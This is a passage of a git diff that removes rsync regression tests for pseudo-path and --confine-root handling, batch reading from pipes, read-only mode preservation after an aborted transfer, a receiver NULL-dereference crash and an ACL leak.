shlex.quote(str(dest) + '/')\n-\n-log_path = shlex.quote(str(log_out))\n-log_path_confined = shlex.quote(str(log_out_confined))\n-\n-# -------------------------------------------------------------------------\n-# TEST 1: Unconfined process substitution (Should Succeed)\n-# -------------------------------------------------------------------------\n-bash_script = f\"{rsync_base_cmd} -v --log-file=>(cat > {log_path}) {src_path} {dest_path}\"\n-\n-try:\n-    proc = subprocess.run(\n-        [bash, '-c', bash_script],\n-        capture_output=True,\n-        env=bash_env,\n-        text=True,\n-        timeout=10,\n-    )\n-except subprocess.TimeoutExpired:\n-    rmtree(base)\n-    test_fail('process substitution test timed out')\n-\n-ctx = f'rc={proc.returncode}, stderr={proc.stderr.strip()!r}'\n-\n-if proc.returncode != 0:\n-    rmtree(base)\n-    test_fail(f'rsync crashed writing to a pseudo-path log pipe ({ctx})')\n-\n-if not (dest / 'transfer_me.txt').is_file():\n-    rmtree(base)\n-    test_fail(f'rsync failed to transfer the allowed file ({ctx})')\n-\n-if not log_out.exists() or log_out.stat().st_size == 0:\n-    rmtree(base)\n-    test_fail(f'rsync survived, but failed to write data to the log pipe ({ctx})')\n-\n-log_data = log_out.read_text()\n-if \"transfer_me.txt\" not in log_data:\n-    rmtree(base)\n-    test_fail(f'Log pipe received data, but is missing expected output: {log_data[:100]}')\n-\n-print('Test 1 Passed: rsync successfully wrote logs to a process substitution pseudo-path')\n-\n-# -------------------------------------------------------------------------\n-# TEST 2: Confined Root (Should Reject Pseudo-path)\n-# -------------------------------------------------------------------------\n-bash_script_confined = f\"{rsync_base_cmd} --confine-root={dest_path} -v --log-file=>(cat > {log_path_confined}) {src_path} {dest_path}\"\n-\n-try:\n-    proc_confined = subprocess.run(\n-        [bash, '-c', bash_script_confined],\n-        capture_output=True,\n-        env=bash_env,\n-        text=True,\n-        timeout=10,\n-    )\n-except subprocess.TimeoutExpired:\n-    rmtree(base)\n-    test_fail('confined process substitution test timed out')\n-\n-ctx_confined = f'rc={proc_confined.returncode}, stderr={proc_confined.stderr.strip()!r}'\n-\n-# Rsync considers log-file failure a warning, so it still exits 0.\n-stderr_lower = proc_confined.stderr.lower()\n-if \"no such file or directory\" in stderr_lower and \"failed to open\" in stderr_lower:\n-    if log_out_confined.exists() and log_out_confined.stat().st_size > 0:\n-        rmtree(base)\n-        test_fail(f'rsync printed an error but still wrote the confined log! ({ctx_confined})')\n-    print('Test 2 Passed: rsync correctly rejected the pseudo-path when confine_root was active')\n-else:\n-    rmtree(base)\n-    test_fail(f'rsync failed to reject the pseudo-path or had an unexpected error ({ctx_confined})')\n-\n-# A pseudo-path is valid only when its descriptor number is the final component.\n-rmtree(dest)\n-makepath(dest)\n-trailing_script = (\n-    f'pipe_path=<(printf \"transfer_me.txt\\\\n\"); '\n-    f'{rsync_base_cmd} --exclude-from=\"$pipe_path/trailing\" {src_path} {dest_path}'\n-)\n-try:\n-    proc_trailing = subprocess.run(\n-        [bash, '-c', trailing_script],\n-        capture_output=True,\n-        env=bash_env,\n-        text=True,\n-        timeout=10,\n-    )\n-except subprocess.TimeoutExpired:\n-    rmtree(base)\n-    test_fail('trailing-component pseudo-path test timed out')\n-\n-if proc_trailing.returncode == 0:\n-    rmtree(base)\n-    test_fail('/dev/fd/N/trailing unexpectedly opened descriptor N')\n-if (dest / 'transfer_me.txt').exists():\n-    rmtree(base)\n-    test_fail('transfer continued after accepting a trailing pseudo-path component')\n-\n-# -------------------------------------------------------------------------\n-# TEST 3: Standard I/O Symlinks (/dev/stdin, /dev/stdout) - Unconfined\n-# -------------------------------------------------------------------------\n-print(\"Running Test 3: Standard I/O Symlinks (/dev/stdin)...\", flush=True)\n-\n-rmtree(dest)\n-makepath(dest)\n-(src / 'stdin_test.txt').write_text('stdin data\\n')\n-\n-# 3A: --files-from=/dev/stdin\n-# Piping printf directly into rsync forces /dev/stdin to resolve to pipe:[N]\n-stdin_script = f'printf \"stdin_test.txt\\\\n\" | {rsync_base_cmd} --files-from=/dev/stdin {src_path} {dest_path}'\n-proc_stdin = subprocess.run([bash, '-c', stdin_script], env=bash_env, capture_output=True, text=True, timeout=10)\n-\n-if proc_stdin.returncode != 0:\n-    test_fail(f'rsync failed to read --files-from=/dev/stdin (rc={proc_stdin.returncode}, stderr={proc_stdin.stderr.strip()!r})')\n-\n-if not (dest / 'stdin_test.txt').is_file():\n-    test_fail(f'rsync failed to transfer file specified via /dev/stdin')\n-\n-print('Test 3A Passed: rsync successfully read files-from via /dev/stdin', flush=True)\n-\n-# -------------------------------------------------------------------------\n-# TEST 3B: Nested Trusted Symlink to /dev/stdin\n-# -------------------------------------------------------------------------\n-rmtree(dest)\n-makepath(dest)\n-\n-symlink_list = base / 'rsync.list'\n-if symlink_list.is_symlink() or symlink_list.exists():\n-    symlink_list.unlink()\n-\n-# Create the trusted nested symlink pointing to the kernel pipe\n-symlink_list.symlink_to('/dev/stdin')\n-\n-symlink_script = f'printf \"stdin_test.txt\\\\n\" | {rsync_base_cmd} --files-from={shlex.quote(str(symlink_list))} {src_path} {dest_path}'\n-proc_symlink = subprocess.run([bash, '-c', symlink_script], env=bash_env, capture_output=True, text=True, timeout=10)\n-\n-if proc_symlink.returncode != 0:\n-     test_fail(f'rsync failed with --files-from=rsync.list -> /dev/stdin (rc={proc_symlink.returncode}, stderr={proc_symlink.stderr.strip()!r})')\n-\n-if not (dest / 'stdin_test.txt').is_file():\n-     test_fail(f'rsync failed to follow trusted symlink to /dev/stdin to read files-from list')\n-\n-print('Test 3B Passed: rsync successfully resolved a trusted nested symlink to /dev/stdin', flush=True)\n-\n-# -------------------------------------------------------------------------\n-# TEST 3C: Spoofed Relative Path to Pseudo-pipe (Spoofed dev/fd/x)\n-# -------------------------------------------------------------------------\n-print(\"Running Test 3C: Spoofed Relative Path to Pseudo-pipe (dev/fd/99)...\", flush=True)\n-\n-rmtree(dest)\n-makepath(dest)\n-\n-# Create a local, relative 'dev/fd' structure inside our working directory\n-spoofed_dev_fd = base / 'dev' / 'fd'\n-makepath(spoofed_dev_fd)\n-\n-# Create a real file called 'pipe:[' with valid data\n-spoofed_target = spoofed_dev_fd / 'pipe:['\n-spoofed_target.write_text('transfer_me.txt\\n')\n-\n-# Create a symlink named '99' that points to the literal file 'pipe:['\n-spoofed_symlink = spoofed_dev_fd / '99'\n-if spoofed_symlink.is_symlink() or spoofed_symlink.exists():\n-    spoofed_symlink.unlink()\n-spoofed_symlink.symlink_to('pipe:[')\n-\n-# Run rsync using --files-from targeting the spoofed path.\n-spoofed_script = f'cd {shlex.quote(str(base))} && {rsync_base_cmd} --files-from=dev/fd/99 {src_path} {dest_path}'\n-proc_spoofed = subprocess.run([bash, '-c', spoofed_script], env=bash_env, capture_output=True, text=True, timeout=10)\n-\n-stderr_lower = proc_spoofed.stderr.lower()\n-\n-if \"levels of symbolic links\" in stderr_lower or \"eloop\" in stderr_lower:\n-    test_fail(f'rsync failed with non-expected ELOOP error. The spoofed path was not treated as a normal file. (rc={proc_spoofed.returncode}, stderr={proc_spoofed.stderr.strip()!r})')\n-\n-if proc_spoofed.returncode != 0:\n-    test_fail(f'rsync unexpectedly did not complete the transfer! (stderr={proc_spoofed.stderr.strip()!r})')\n-\n-print('Test 3C Passed: rsync correctly treated the un-anchored spoofed path as a normal file rather than a kernel pseudo-path.', flush=True)\n-\n-# -------------------------------------------------------------------------\n-# SETUP FOR NAMESPACE TESTS (TEST 4)\n-# -------------------------------------------------------------------------\n-unshare = shutil.which('unshare')\n-if unshare is None:\n-    print('unshare is unavailable')\n-    rmtree(base)\n-    raise SystemExit(0)\n-\n-launcher = []\n-if os.geteuid() == 0:\n-    setpriv = shutil.which('setpriv')\n-    if setpriv is None:\n-        print('setpriv is unavailable for the root-run testsuite')\n-        rmtree(base)\n-        raise SystemExit(0)\n-    launcher = [setpriv, '--reuid=65534', '--regid=65534', '--clear-groups']\n-\n-unshare_argv = [unshare, '--user', '--map-root-user', '--mount', '--pid',\n-                '--fork', '--mount-proc']\n-\n-probe = subprocess.run(\n-    launcher + unshare_argv + ['true'],\n-    stdin=subprocess.DEVNULL,\n-    stdout=subprocess.DEVNULL,\n-    stderr=subprocess.DEVNULL,\n-)\n-if probe.returncode != 0:\n-    rmtree(base)\n-    print(f'user namespaces unavailable (rc={probe.returncode})')\n-    raise SystemExit(0)\n-\n-# Verify the namespace exposes the overflow UID using the exact logic from the original test\n-check_ns = (\n-    \"import os\\n\"\n-    \"proc_uid = os.lstat('/proc/self').st_uid\\n\"\n-    \"if proc_uid in (0, os.geteuid()):\\n\"\n-    \"    exit(22)\\n\"\n-)\n-probe_uid = subprocess.run(launcher + unshare_argv + [sys.executable, '-c', check_ns])\n-if probe_uid.returncode == 22:\n-    rmtree(base)\n-    print('/proc/self does not expose an overflow uid in this namespace')\n-    raise SystemExit(0)\n-\n-# Pivot workspace for dropped root privileges\n-ws_base = Path(tempfile.mkdtemp(prefix='rsync-unshare-'))\n-ws_base.chmod(0o777)\n-\n-try:\n-    ws_src = ws_base / 'src'\n-    ws_dest = ws_base / 'dest'\n-    makepath(ws_src, ws_dest)\n-    ws_src.chmod(0o777)\n-    ws_dest.chmod(0o777)\n-\n-    tf = ws_src / 'transfer_me.txt'\n-    tf.write_text('sync this\\n')\n-    tf.chmod(0o777)\n-\n-    sf = ws_src / 'stdin_test.txt'\n-    sf.write_text('stdin data\\n')\n-    sf.chmod(0o777)\n-\n-    local_bin = ws_base / 'rsync-bin'\n-    shutil.copy2(rsync_argv()[0], local_bin)\n-    local_bin.chmod(0o777)\n-\n-    cmd_prefix = shlex.join([str(local_bin), '-a'])\n-    s_path = shlex.quote(str(ws_src) + '/')\n-    d_path = shlex.quote(str(ws_dest) + '/')\n-\n-    # -------------------------------------------------------------------------\n-    # TEST 4A: User Namespace Overflow UID with Process Substitution\n-    # -------------------------------------------------------------------------\n-    # Use process substitution <(...) which resolves to /dev/fd/N\n-    inner_script_4a = f'{cmd_prefix} --no-o --no-g --files-from=<(printf \"stdin_test.txt\\\\n\") {s_path} {d_path}'\n-    unshare_cmd_4a = launcher + unshare_argv + [bash, '-c', inner_script_4a]\n-\n-    proc_unshare_4a = subprocess.run(\n-        unshare_cmd_4a,\n-        capture_output=True,\n-        env=bash_env,\n-        text=True,\n-        timeout=10,\n-    )\n-\n-    ctx_unshare_4a = f'rc={proc_unshare_4a.returncode}, stderr={proc_unshare_4a.stderr.strip()!r}'\n-\n-    if proc_unshare_4a.returncode != 0:\n-        test_fail(f'rsync failed reading process substitution pseudo-path inside user namespace ({ctx_unshare_4a})')\n-\n-    if not (ws_dest / 'stdin_test.txt').is_file():\n-        test_fail(f'rsync failed to transfer file specified via process substitution inside user namespace ({ctx_unshare_4a})')\n-\n-    print('Test 4A Passed: rsync successfully resolved process substitution pseudo-paths inside user namespace', flush=True)\n-\n-    # -------------------------------------------------------------------------\n-    # TEST 4B: Nested Trusted Symlink to /dev/stdin in User Namespace\n-    # -------------------------------------------------------------------------\n-    # Clear the destination so we have fresh files to transfer\n-    rmtree(ws_dest)\n-    makepath(ws_dest)\n-    ws_dest.chmod(0o777)\n-\n-    symlink_list_ns = ws_base / 'rsync.list'\n-    if symlink_list_ns.is_symlink() or symlink_list_ns.exists():\n-        symlink_list_ns.unlink()\n-\n-    # Create the trusted nested symlink pointing to the kernel pipe\n-    symlink_list_ns.symlink_to('/dev/stdin')\n-\n-    if os.geteuid() == 0:\n-        os.lchown(symlink_list_ns, 65534, 65534)\n-\n-    inner_script_4b = f'printf \"stdin_test.txt\\\\n\" | {cmd_prefix} --no-o --no-g --files-from={shlex.quote(str(symlink_list_ns))} {s_path} {d_path}'\n-    unshare_cmd_4b = launcher + unshare_argv + [bash, '-c', inner_script_4b]\n-\n-    proc_unshare_4b = subprocess.run(\n-        unshare_cmd_4b,\n-        capture_output=True,\n-        env=bash_env,\n-        text=True,\n-        timeout=10,\n-    )\n-    ctx_unshare_4b = f'rc={proc_unshare_4b.returncode}, stderr={proc_unshare_4b.stderr.strip()!r}'\n-    if proc_unshare_4b.returncode != 0:\n-        test_fail(f'rsync failed with --files-from=rsync.list -> /dev/stdin inside user namespace ({ctx_unshare_4b})')\n-    \n-    if not (ws_dest / 'stdin_test.txt').is_file():\n-        test_fail(f'rsync failed to transfer the file specified via nested /dev/stdin symlink in namespace ({ctx_unshare_4b})')\n-    print('Test 4B Passed: rsync successfully resolved a trusted nested symlink to /dev/stdin in user namespace', flush=True)\n-\n-finally:\n-    rmtree(ws_base)\n-\n-rmtree(base)\n-raise SystemExit(0)\ndiff --git a/testsuite/read-batch-pipe_test.py b/testsuite/read-batch-pipe_test.py\ndeleted file mode 100644\nindex 505678a..0000000\n--- a/testsuite/read-batch-pipe_test.py\n+++ /dev/null\n@@ -1,85 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"--read-batch process substitution /dev/fd/ pipe must not crash with strict file-type checks.\"\"\"\n-import os\n-import shlex\n-import shutil\n-import subprocess\n-import tempfile\n-import sys\n-from pathlib import Path\n-\n-from rsyncfns import SCRATCHDIR, makepath, rmtree, rsync_argv, test_fail, test_skipped\n-\n-# We require bash specifically because standard POSIX /bin/sh does not\n-# guarantee support for <(...) process substitution syntax.\n-if not sys.platform.startswith('linux'):\n-    test_skipped('This test requires Linux platform')\n-\n-bash = shutil.which('bash')\n-if bash is None:\n-    test_skipped('bash is unavailable, cannot test process substitution')\n-\n-# runtests.py exports POSIXLY_CORRECT=1, and bash before 5.1 disables process\n-# substitution in POSIX mode -- the very syntax bash is required for here.\n-bash_env = {k: v for k, v in os.environ.items() if k != 'POSIXLY_CORRECT'}\n-# Verify the host bash actually supports process substitution\n-probe = subprocess.run(\n-    [bash, '-c', 'cat <(echo \"probe\")'],\n-    env=bash_env,\n-    capture_output=True)\n-\n-if probe.returncode != 0:\n-    test_skipped('bash process substitution is not supported on this system')\n-\n-base = Path(SCRATCHDIR / 'rsync-batch-fifo')\n-src = base / 'src'\n-dest = base / 'dest'\n-batch_file = base / 'update.batch'\n-makepath(src, dest)\n-\n-# 1. Create dummy data\n-(src / 'payload.txt').write_text('batch payload data\\n')\n-\n-# 2. Generate a valid batch file so `cat` actually has a real file to read.\n-# Note: This operation also copies the file to `dest` as a side effect.\n-subprocess.run([*rsync_argv('-a', f'--write-batch={batch_file}'), f'{src}/', f'{dest}/'], check=True)\n-\n-# must wipe and recreate the destination directory so the test can \n-# properly prove that --read-batch recreates the files from scratch.\n-rmtree(dest)\n-makepath(dest)\n-\n-# 3. Now we can test reading it via bash process substitution\n-rsync_base_cmd = shlex.join(rsync_argv('-a'))\n-batch_path = shlex.quote(str(batch_file))\n-dest_path = shlex.quote(str(dest) + '/')\n-\n-# Construct the bash command: rsync -a --read-batch=<(cat /path/to/batch) /dest/\n-bash_script = f\"{rsync_base_cmd} --read-batch=<(cat {batch_path}) {dest_path}\"\n-\n-try:\n-    proc_read = subprocess.run(\n-        [bash, '-c', bash_script],\n-        capture_output=True,\n-        env=bash_env,\n-        text=True,\n-        timeout=10,\n-    )\n-except subprocess.TimeoutExpired:\n-    rmtree(base)\n-    test_fail('process substitution batch test timed out')\n-\n-ctx = f'rc={proc_read.returncode}, stderr={proc_read.stderr.strip()!r}'\n-\n-# Evaluate result against the strict S_ISREG check bug\n-if proc_read.returncode != 0:\n-    rmtree(base)\n-    test_fail(f'rsync crashed reading batch file from pipe ({ctx})')\n-\n-if not (dest / 'payload.txt').is_file():\n-    rmtree(base)\n-    test_fail(f'rsync exited successfully but payload is missing in target ({ctx})')\n-\n-rmtree(base)\n-print('rsync successfully parsed batch stream via process substitution pseudo-path')\n-raise SystemExit(0)\ndiff --git a/testsuite/readonly-partial-abort-mode-regression_test.py b/testsuite/readonly-partial-abort-mode-regression_test.py\ndeleted file mode 100644\nindex 92eac94..0000000\n--- a/testsuite/readonly-partial-abort-mode-regression_test.py\n+++ /dev/null\n@@ -1,171 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"An aborted in-place update must not relax an existing file's mode.\n-\n-The proposed-3.5 receiver retries an EACCES output open by chmod'ing an\n-existing output or in-place partial file to 0600.  This test's fake remote\n-sender closes after the receiver has requested the file and before sending any\n-file-data token.  The transfer must fail, but mode 0444 must survive.  A normal\n-successful --inplace update of a read-only file is also checked so that the\n-3.5 compatibility feature remains intact.\n-\"\"\"\n-\n-import os\n-import select\n-import struct\n-import subprocess\n-import sys\n-\n-import rsync_proto as rp\n-from rsyncfns import SCRATCHDIR, makepath, rmtree, rsync_argv, test_fail\n-\n-\n-CF_INPLACE_PARTIAL_DIR = 1 << 6\n-FNAMECMP_PARTIAL_DIR = 0x81\n-ITEM_BASIS_TYPE_FOLLOWS = 1 << 11\n-\n-\n-def write_all(data):\n-    view = memoryview(data)\n-    while view:\n-        n = os.write(1, view)\n-        if n <= 0:\n-            raise RuntimeError(\"short write to rsync client\")\n-        view = view[n:]\n-\n-\n-def read_exact(n, timeout=10):\n-    out = bytearray()\n-    while len(out) < n:\n-        ready, _, _ = select.select([0], [], [], timeout)\n-        if not ready:\n-            raise RuntimeError(f\"timeout reading {n} protocol bytes\")\n-        chunk = os.read(0, n - len(out))\n-        if not chunk:\n-            raise RuntimeError(f\"EOF after {len(out)}/{n} protocol bytes\")\n-        out += chunk\n-    return bytes(out)\n-\n-\n-def frame(payload):\n-    word = ((rp.MPLEX_BASE + rp.MSG_DATA) << 24) | len(payload)\n-    return struct.pack(\"<I\", word) + payload\n-\n-\n-def wait_for_generator_request():\n-    \"\"\"Consume multiplexed client output until index 0's request appears.\"\"\"\n-    data = bytearray()\n-    for _ in range(256):\n-        word = struct.unpack(\"<I\", read_exact(4))[0]\n-        length = word & 0xFFFFFF\n-        tag = (word >> 24) - rp.MPLEX_BASE\n-        payload = read_exact(length) if length else b\"\"\n-        if tag != rp.MSG_DATA:\n-            continue\n-        data += payload\n-        if len(data) >= 7 and b\"\\x01\" in data[4:]:\n-            return\n-        if len(data) > 1024 * 1024:\n-            break\n-    raise RuntimeError(f\"generator did not request index 0: {data[:64].hex()}\")\n-\n-\n-def fake_sender(basis_type):\n-    write_all(rp.w_int(30))\n-    client_protocol = struct.unpack(\"<i\", read_exact(4))[0]\n-    if client_protocol < 30:\n-        raise RuntimeError(f\"client protocol is unexpectedly {client_protocol}\")\n-    write_all(rp.w_varint(CF_INPLACE_PARTIAL_DIR) + rp.w_int(0x12345678))\n-\n-    entry = rp.FileEntry(\"f\", mode=rp.S_IFREG | 0o444, length=4096,\n-                         modtime=1700000000, protocol=30)\n-    write_all(frame(entry.encode() + rp.end_of_flist(protocol=30)))\n-    wait_for_generator_request()\n-\n-    response = bytearray()\n-    response += b\"\\x01\"\n-    response += rp.w_shortint(rp.ITEM_TRANSFER | ITEM_BASIS_TYPE_FOLLOWS)\n-    response += rp.w_byte(basis_type)\n-    response += rp.w_sum_head(0, 0, 0, 0)\n-    write_all(frame(bytes(response)))\n-\n-\n-fake_arg = next((arg for arg in sys.argv if arg.startswith(\"--fake-server=\")), None)\n-if fake_arg:\n-    try:\n-        scenario = fake_arg.split(\"=\", 1)[1]\n-        fake_sender(FNAMECMP_PARTIAL_DIR if scenario == \"partial\" else rp.FNAMECMP_FNAME)\n-    except Exception as exc:\n-        print(f\"fake sender failed: {exc!r}\", file=sys.stderr)\n-        sys.exit(2)\n-    sys.exit(0)\n-\n-\n-if os.geteuid() == 0:\n-    print(\"SKIP: root bypasses the read-only output-file precondition\")\n-    sys.exit(77)\n-\n-base = SCRATCHDIR / \"readonly-partial-abort-mode-regression\"\n-rmtree(base)\n-script = os.path.abspath(__file__)\n-\n-\n-def run_abort_case(scenario):\n-    dest = base / scenario / \"dest\"\n-    if scenario == \"partial\":\n-        existing = dest / \".rsync-partial\" / \"f\"\n-        options = (\"--partial-dir=.rsync-partial\", \"--no-whole-file\")\n-    else:\n-        existing = dest / \"f\"\n-        options = (\"--inplace\", \"--no-whole-file\")\n-    makepath(existing.parent)\n-    existing.write_bytes(b\"old data\\n\")\n-    os.chmod(existing, 0o444)\n-\n-    rsh = f\"{sys.executable} {script} --fake-server={scenario}\"\n-    proc = subprocess.run(\n-        rsync_argv(\"--protocol=30\", \"-r\", *options, \"-e\", rsh,\n-                   \"fake:f\", str(dest) + \"/\"),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=20,\n-    )\n-\n-    failures = []\n-    if proc.returncode == 0:\n-        failures.append(f\"truncated {scenario} stream unexpectedly succeeded:\\n{proc.stdout}\")\n-    mode = os.stat(existing).st_mode & 0o7777\n-    if mode != 0o444:\n-        failures.append(\n-            f\"aborted {scenario} update changed pre-existing mode 0444 to {mode:04o}; \"\n-            f\"rsync output:\\n{proc.stdout}\"\n-        )\n-    return failures\n-\n-\n-def run_success_case():\n-    source = base / \"success\" / \"source\"\n-    dest = base / \"success\" / \"dest\"\n-    makepath(source)\n-    makepath(dest)\n-    (source / \"f\").write_bytes(b\"replacement data\\n\")\n-    (dest / \"f\").write_bytes(b\"old data\\n\")\n-    os.chmod(source / \"f\", 0o444)\n-    os.chmod(dest / \"f\", 0o444)\n-    proc = subprocess.run(\n-        rsync_argv(\"--inplace\", \"-r\", str(source) + \"/\", str(dest) + \"/\"),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=20,\n-    )\n-    failures = []\n-    if proc.returncode != 0:\n-        failures.append(f\"successful read-only --inplace update failed:\\n{proc.stdout}\")\n-    if (dest / \"f\").read_bytes() != b\"replacement data\\n\":\n-        failures.append(\"successful read-only --inplace update did not install the new data\")\n-    mode = os.stat(dest / \"f\").st_mode & 0o7777\n-    if mode != 0o444:\n-        failures.append(f\"successful read-only --inplace update left mode {mode:04o}\")\n-    return failures\n-\n-\n-failures = run_abort_case(\"inplace\") + run_abort_case(\"partial\") + run_success_case()\n-if failures:\n-    test_fail(\"\\n\\n\".join(failures))\n-\n-print(\"PASS: aborted updates preserved mode and successful read-only inplace still works\")\ndiff --git a/testsuite/recv-discard-nullderef_test.py b/testsuite/recv-discard-nullderef_test.py\ndeleted file mode 100755\nindex f7d0ee4..0000000\n--- a/testsuite/recv-discard-nullderef_test.py\n+++ /dev/null\n@@ -1,126 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for a receiver NULL-deref on the delta DISCARD path.\n-#\n-# In receiver.c receive_data(), a block-MATCH token that arrives while the\n-# receiver is DISCARDING a file (discard_receive_data() -> receive_data() with\n-# fname==NULL, fd==-1, hence mapbuf==NULL) reached\n-#     rprintf(FERROR, \"...%s...\", full_fname(fname), ...)\n-# with fname==NULL. full_fname() dereferences its argument unconditionally\n-# (util1.c: `if (*fn == '/')`), so the receiver SIGSEGVs. The faulty error\n-# branch was added in 31fbb17d (\"receiver: fix absolute --partial-dir delta\n-# resume\"); the fix discriminates on fd (not mapbuf) and, on the discard path\n-# (fd==-1), absorbs the matched bytes benignly instead of erroring.\n-#\n-# This is a NORMAL-operation crash, not adversarial: a stock cooperating sender\n-# triggers it. The generator sends real block sums (basis readable, delta mode);\n-# the receiver then has to discard because its output mkstemp() fails -- here\n-# because the destination directory is not writable. A block MATCH against the\n-# shared leading block reaches the discard path and crashes the pre-fix binary.\n-#\n-# We drive a real sender<->receiver pair (client sender -> daemon receiver) so\n-# the receiver actually takes the recv_files discard path; a local `rsync a b`\n-# does not. In the default (pipe) daemon transport both ends are the binary\n-# under test.\n-#\n-# Skipped (exit 77) when running as root (root bypasses DAC), or when the\n-# directory mode is not enforced (e.g. a non-root process holding\n-# CAP_DAC_OVERRIDE in an unprivileged container): in both cases the receiver's\n-# mkstemp() would succeed despite chmod 0555, the discard path would not be\n-# taken, and the test would silently pass against a buggy binary. The\n-# post-chmod writability probe converts that silent false-pass into an honest\n-# skip and subsumes the root check.\n-\n-import os\n-import shlex\n-import subprocess\n-import tempfile\n-\n-from rsyncfns import (\n-    SCRATCHDIR, RSYNC, TMPDIR,\n-    get_testuid, get_rootuid, makepath, start_test_daemon, write_daemon_conf,\n-    test_fail, test_skipped, split_rsync_cmd,\n-)\n-\n-DAEMON_PORT = 12895\n-\n-if get_testuid() == get_rootuid():\n-    test_skipped(\"root bypasses DAC: the unwritable dest dir wouldn't make \"\n-                 \"the receiver's mkstemp fail, so the discard path (and the \"\n-                 \"bug) is never reached\")\n-\n-os.chdir(TMPDIR)\n-\n-MODDIR = SCRATCHDIR / 'recvdiscard-mod'   # daemon module root (writable)\n-BASISDIR = MODDIR / 'd'                    # made read-only -> mkstemp fails\n-SRCDIR_ = SCRATCHDIR / 'recvdiscard-src'   # client source tree\n-makepath(MODDIR, BASISDIR, SRCDIR_)\n-\n-# Basis and source share a leading block (2000 'A's) so the generator emits\n-# real sums and the receiver gets a block MATCH; the tails differ and the\n-# source is larger so a delta (not a no-op) is sent.\n-basis = BASISDIR / 'f'\n-basis.write_bytes(b'A' * 2000 + b'C' * 1000)\n-src = SRCDIR_ / 'f'\n-src.write_bytes(b'A' * 2000 + b'B' * 3000)\n-\n-# A read/write daemon module rooted at MODDIR.\n-conf = write_daemon_conf([('recvdiscard', {'path': str(MODDIR),\n-                                           'read only': 'no'})])\n-url = start_test_daemon(conf, DAEMON_PORT, rsync_cmd=RSYNC)\n-\n-# Make the destination directory unwritable so the receiver's output mkstemp()\n-# fails and it falls back to discarding the delta stream. Restore in finally so\n-# the per-test scratch tree can be cleaned up.\n-os.chmod(BASISDIR, 0o555)\n-\n-# Probe that the chmod actually denies writes for *this* process.  A non-root\n-# user holding CAP_DAC_OVERRIDE bypasses the directory write bit, so mkstemp\n-# would succeed in the daemon receiver too, the discard path would never be\n-# taken, and the test would silently pass on a buggy binary.  Better to skip\n-# explicitly.  (Root takes this path too: its probe succeeds → skip, which\n-# subsumes the uid==0 check.)\n-try:\n-    _fd, _probe = tempfile.mkstemp(dir=BASISDIR)\n-    os.close(_fd)\n-    os.unlink(_probe)\n-    os.chmod(BASISDIR, 0o755)\n-    test_skipped(\"destination dir is writable despite chmod 0555 \"\n-                 \"(CAP_DAC_OVERRIDE?); cannot force the receiver discard path\")\n-except OSError:\n-    pass  # EACCES -- good, the precondition is enforced\n-\n-try:\n-    argv = split_rsync_cmd(RSYNC) + [\n-        '--no-whole-file', '-a',\n-        str(src), f'{url}recvdiscard/d/f',\n-    ]\n-    print('Running:', ' '.join(argv))\n-    proc = subprocess.run(argv, stdout=subprocess.PIPE,\n-                          stderr=subprocess.STDOUT, text=True)\n-    print(proc.stdout, end='')\n-finally:\n-    os.chmod(BASISDIR, 0o755)\n-\n-rc = proc.returncode\n-\n-# A receiver SIGSEGV manifests to the client as a protocol error (the daemon's\n-# receiver child crashes mid-stream and the connection drops): exit code 12.\n-# With the fix the receiver drains the delta and, because the forced-unwritable\n-# destination leaves the file untransferred, the run reports the benign \"some\n-# files were not transferred\" -- exit code 23.\n-#\n-# 23 is the ONLY non-crash outcome here: the writability probe above guarantees\n-# the receiver's mkstemp() fails, so the file is always discarded. An exit 0\n-# would mean the file actually transferred -- the discard path was NOT exercised\n-# and the run proves nothing -- so require exactly 23 (and call out 12 as the\n-# pre-fix crash).\n-if rc == 12:\n-    test_fail(f\"receiver crashed on the discard path (rsync exited {rc}: \"\n-              \"error in rsync protocol data stream -- the receiver child \"\n-              \"SIGSEGV'd in full_fname(NULL))\")\n-if rc != 23:\n-    test_fail(f\"expected rsync exit 23 (the forced discard leaves the file \"\n-              f\"untransferred); got {rc} -- the discard path was not exercised, \"\n-              \"so this run validates nothing (12 would be the pre-fix crash)\")\n-\n-print(f\"OK: receiver discarded the delta without crashing (rsync exit {rc})\")\ndiff --git a/testsuite/recv-generator-acl-leak_test.py b/testsuite/recv-generator-acl-leak_test.py\ndeleted file mode 100644\nindex 402ed77..0000000\n--- a/testsuite/recv-generator-acl-leak_test.py\n+++ /dev/null\n@@ -1,68 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"KI-23: recv_generator leaks real_sx ACL data on the directory path.\n-\n-In generator.c:recv_generator the directory branch calls set_file_attrs() on\n-&real_sx, which (under --acls) loads the destination's current ACL into\n-real_sx via get_acl_fdat(), then does `goto cleanup`.  The cleanup label only\n-frees sx, never real_sx (real_sx is freed solely on the regular-file path), so\n-each pre-existing ACL-bearing destination directory leaks its ACL data.\n-\n-ASan/LSan reproducer: sync --acls onto a destination directory that already\n-carries an ACL, then assert no leak report names recv_generator.  Gated on an\n-AddressSanitizer build and on setfacl being available.\n-\"\"\"\n-\n-import glob\n-import os\n-import shutil\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, RSYNC,\n-    acls_supported, require_asan, rmtree, rsync_argv, test_fail, test_skipped,\n-)\n-\n-require_asan(\"KI-23 real_sx ACL leak is only observable under AddressSanitizer/LSan\", RSYNC)\n-if not acls_supported():\n-    test_skipped(\"rsync built without ACL support, or filesystem rejects ACLs\")\n-if not shutil.which('setfacl'):\n-    test_skipped(\"setfacl not available to plant a destination-directory ACL\")\n-\n-base = SCRATCHDIR / 'acl-leak'\n-rmtree(base)\n-src = base / 'src'\n-dst = base / 'dst'\n-(src / 'sub').mkdir(parents=True)\n-(src / 'sub' / 'f.txt').write_text(\"updated-content\\n\")  # different size -> always transferred\n-(dst / 'sub').mkdir(parents=True)\n-(dst / 'sub' / 'f.txt').write_text(\"old\\n\")\n-\n-# Plant an ACL on the pre-existing destination directory so recv_generator's\n-# directory branch loads it into real_sx (the leaked allocation).\n-if subprocess.run(['setfacl', '-m', 'u:nobody:rwx', str(dst / 'sub')]).returncode != 0:\n-    test_skipped(\"setfacl could not set an ACL on the destination directory\")\n-\n-asan_log = base / 'acl-leak-asan'\n-for stale in glob.glob(f\"{asan_log}.*\"):\n-    os.unlink(stale)\n-os.environ['ASAN_OPTIONS'] = (\n-    